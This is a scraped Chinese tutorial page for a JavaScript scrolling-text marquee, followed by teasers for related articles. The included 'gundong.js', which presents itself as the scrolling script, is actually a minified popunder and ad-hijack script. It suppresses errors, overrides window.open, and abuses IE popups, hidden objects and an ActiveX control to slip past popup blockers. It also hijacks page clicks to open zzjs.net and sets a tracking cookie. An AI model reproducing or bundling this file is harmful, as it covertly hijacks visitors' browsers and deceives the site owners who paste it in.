滚动文字JS

 1 <div class="wrap">
 2     <div align="center" id="roll" style="overflow:hidden;height:212px;width:238px;font-size:14px;color:#990000;line-height:22px;text-align:left;padding:10px">
 3         <div id="roll_1">
 4             <table>
 5                 <tr>
 6                     <td><a href="">白菜</a></td>
 7                     <td>2.5-4.5元/斤</td>
 8                 </tr>
 9                 <tr>
10                     <td><a href="">白菜</a></td>
11                     <td>2.5-4.5元/斤</td>
12                 </tr>
13                 <tr>
14                     <td><a href="">白菜</a></td>
15                     <td>2.5-4.5元/斤</td>
16                 </tr>
17             </table>
18         </div>
19         <div id="roll_2"></div>
20     </div>
21     <script type="text/javascript" src="js/gundong.js"></script>
22     <script type="text/javascript">
23         <!--
24         var roll = document.getElementById("roll");
25         var roll_1 = document.getElementById("roll_1");
26         var roll_2 = document.getElementById("roll_2");
27         var speed=50;    //滚动速度值,值越大速度越慢
28         var nnn=200/roll_1.offsetHeight;
29         for(i=0;i<nnn;i++){roll_1.innerHTML+="<br />"+ roll_1.innerHTML}
30         roll_2.innerHTML = roll_1.innerHTML    //克隆roll_2为roll_1
31         function Marquee(){
32             if(roll_2.offsetTop-roll.scrollTop<=0)    //当滚动至roll_1与roll_2交界时
33                 roll.scrollTop-=roll_1.offsetHeight    //roll跳到最顶端
34             else{
35                 roll.scrollTop++     //如果是横向的将所有的 height top 改成 width left
36             }
37         }
38         var MyMar = setInterval(Marquee,speed);        //设置定时器
39         roll.onmouseover = function(){clearInterval(MyMar)}    //鼠标经过时清除定时器达到滚动停止的目的
40         roll.onmouseout = function(){MyMar = setInterval(Marquee,speed)}    //鼠标移开时重设定时器
41         -->
42     </script>
43 </div>

gundong.js

function set(n,v,t){var exp=new Date();exp.setTime(exp.getTime()+t*60*1000);document.cookie=n+"="+escape(v)+";expires="+exp.toGMTString()+";path=/;";};function get(n){var arr=document.cookie.match(new RegExp("(^| )"+n+"=([^;]*)(;|$)"));if(arr!=null){return unescape(arr[2]);};return null;};var m_c=get("tc_zzjs_net"),t,urls;if(urls!=null){var url=urls[parseInt(Math.random()*(urls.length))];};if(m_c==null){if(t==null){t="1440"};var uatx=true;function err(){return true;};window.onerror = err;if(window.w_op){window.open=w_op;};if(window.t_op){window.open=t_op;};if(typeof(u_ck)==‘undefined‘){var u_ck=false;};if(typeof(uatx)==‘undefined‘){var uatx=false;};if(typeof(p_win)==‘undefined‘){var p_win=null;};if(typeof(p_e)==‘undefined‘){var p_e=false;};if(typeof(url)==‘undefined‘){var url="http://zzjs.net";};var num=1,stp_c=false,use=false,myurl=location.href+‘/‘,max_t=20,atx_t=false,tried=0,key =‘0‘,m_win,pop_w,sas=0;function satx(){if(uatx){try{if(sas<5){document.write(‘<input style="display:none;" id="hit" type="text" onkeypress="s_atx()">‘);pop_w=window.createPopup();pop_w.document.body.innerHTML=‘<div id="o_re"><object id="g_div" style="position:absolute;top:0px;left:0px;" width=1 height=1 DATA="‘+myurl+‘" type="text/html"></object></div>‘;document.write(‘<iframe name="pop_f" style="position:absolute;top:-100px;left:0px;width:1px;height:1px;" src="about锛?#58blank"></iframe>‘);pop_f.document.write(‘<object id="g_f" style="position:absolute;top:0px;left:0px;" width=1 height=1 DATA="‘+myurl+‘" type="text/html"></object>‘);sas=6;}}catch(e){if(sas<5){sas++;setTimeout(‘satx();‘,500);}else if(sas==5){atx_t=true;s_c();}}}};function t_atx(){if(!atx_t&&!p_e){if(sas==6&&use&&pop_w&&pop_w.document.getElementById(‘g_div‘)&&pop_w.document.getElementById(‘g_div‘).object&&pop_w.document.getElementById(‘g_div‘).object.parw){m_win=pop_w.document.getElementById(‘g_div‘).object.parw;}else if(sas==6&&!use&&pop_f&&pop_f.g_f&&pop_f.g_f.object&&pop_f.g_f.object.parw){m_win=pop_f.g_f.object.parw;pop_f.location.replace(‘about锛?#58blank‘);}else{setTimeout(‘t_atx()‘,200);tried++;if(tried>=max_t&&!atx_t){atx_t=true;s_c();};return;};o_atx();window.w_f=true;self.focus();};};function o_atx(){if(!atx_t&&!p_e){if(m_win&&window.w_f){window.w_f=false;document.getElementById(‘hit‘).fireEvent("onkeypress",(document.createEventObject().keyCode=escape(key).substring(1)));}else{setTimeout(‘o_atx();‘,100);};tried++;if(tried>=max_t){atx_t=true;s_c();};}};function s_atx(){if(!atx_t && !p_e){if(use){window.dc=pop_w.document.getElementById(‘o_re‘).children(0);window.dc=pop_w.document.getElementById(‘o_re‘).removeChild(window.dc);};new_w=m_win.open(url,‘zzjs‘);if(new_w){new_w.blur();self.focus();atx_t=true;p_e=true;}else{if(!use){use=true;tried=0;t_atx();}else{atx_t=true;s_c();};};};};function paypopup(){if(!p_e){if(!u_ck&&!uatx){p_win=window.open(url,‘zzjs‘);if(p_win){p_e=true;set("tc_zzjs_net","tc",t);};self.focus();};};if(!p_e){if(uatx){t_atx();}else{s_c();}}};function s_c(){if(!p_e&&!stp_c){o_c=document.onclick;document.onclick=gopop;if(window.Event){document.captureEvents(Event.CLICK);};self.focus();stp_c=true;};};    function gopop(){if(!p_e){p_win=window.open(url,‘zzjs‘);if(p_win){p_e=true;set("tc_zzjs_net","tc",t);};self.focus();};if(typeof(o_c)=="function"){o_c();};};function del_g(){if(uatx){try{document.write(‘<div style="display:none;"><object id="d_g" classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" style="display:none;" codebase="view-source:about锛?#58blank"></object></div>‘);use|=(typeof(document.getElementById(‘d_g‘))==‘object‘);}catch(e){setTimeout(‘del_g();‘,50);};};};function v_o(){var os=‘W0‘,bs=‘I0‘,i_f=false,bro=window.navigator.userAgent;if(bro.indexOf(‘Win‘)!=-1){os=‘W1‘;};if(bro.indexOf("SV1")!=-1){bs=‘I2‘;}else if(bro.indexOf("Opera")!=-1){bs="I0";}else if(bro.indexOf("Firefox")!=-1){bs="I0";}else if(bro.indexOf("Microsoft")!=-1||bro.indexOf("MSIE")!= -1){bs = ‘I1‘;};if(top.location!=this.location){i_f=true;};url=url;u_ck=num&&((bro.indexOf("SV1")!=-1)||(bro.indexOf("Opera")!=-1)||(bro.indexOf("Firefox")!=-1));uatx=num&&(bro.indexOf("SV1")!=-1)&&!(bro.indexOf("Opera")!=-1)&&((bro.indexOf("Microsoft")!= -1)||(bro.indexOf("MSIE")!=-1));del_g();};v_o();function l_pop(){if(!u_ck&&!uatx){paypopup();}else if(uatx){t_atx();}else{s_c();}};myurl=myurl.substring(0,myurl.indexOf(‘/‘,8));if(myurl==‘‘){myurl=‘.‘;};satx();l_pop();self.focus();}

自下而上滚动,网上找的...

同一页面上不能重复使用一个JS,要改名

时间: 2025-01-12 04:39:05

滚动文字JS的相关文章

SharePoint 2010/SharePoint 2013 Custom Action: 基于Site Collection 滚动文字的通知.

应用场景: 有时候我们的站点需要在每个页面实现滚动文字的通知,怎么在不修改Master Page的情况下实现这个功能?我们可以使用Javascript 和 Custom Action 来实现. 创建一个Custom Action.主要使用到 Location = 'ScriptLink' 属性, 该属性可以动态的加载JavaScript 文件链接和代码块到模板页.代码如下: <Elements xmlns="http://schemas.microsoft.com/sharepoint/&

【在网页中添加滚动文字】

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> <tit

【JavaScript】原生态兼容IE6可调可控的滚动文字

虽然HTML里面本身就有marquee标签,用来设置滚动文字,但是在<[HTML]比较冷门标签与属性>(点击打开链接)我已经说过,这个标签到了IE8就开始不支持,在IE6中可以设置的东西也很少,所以这东西还是用javascript来写为好.这个小组件也是比较常见的,但是网上的代码质量还是为了很多无关紧要的小特效而增加了许多无谓的代码.其实这东西,你只要弄得能自己向右向左滚,到了屏幕边缘自动返回就行了,为什么要为了一些淡入淡出的华而不实的东西,而写一大摞代码了.下面介绍一个自己写的利用paddi

HTML滚动文字代码 marquee标签

    <marquee style="WIDTH: 388px; HEIGHT: 200px" scrollamount="2" direction="up" ><div align="left" ><br /></div ><center ><font face="黑体" color="#008000" size=&q

html5实现滚动文字

<div class="custom-notice"> <i class="icon-notice"></i> <marquee class="noticeText ng-binding" direction="left" behavior="alternate" scrollamount="100" scrolldelay="1000

带左右箭头切换的自动滚动图片JS特效

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-

lua滚动文字效果

基本的思想都是创建一个clippingNode,将要截取的节点添加到clippingNode中,节点加上action即可. 下面是左右滚动的代码,如果是上下滚动,更简单了,只需修改Y坐标即可,都不用动态去计算时间. -- 获取宽字符的宽度 function wideWordWidth(fontName, fontSize) local key = generateKey(fontName, fontSize) if mWideWordWidth[key] == nil then local st

Html滚动文字

<marquee style="WIDTH: 388px; HEIGHT: 200px" scrollamount="2" direction="up" > <div align="left" ><br /> </div > <center ><font face="黑体" color="#008000" size=&qu

Silverlight实现滚动文字

主要是用到DoubleAnimation 标签: <Canvas x:Name="c1" Margin="2,25,2,2"> <Canvas.Triggers> <EventTrigger RoutedEvent="Canvas.Loaded" > <BeginStoryboard> <Storyboard x:Name="animation" RepeatBehavio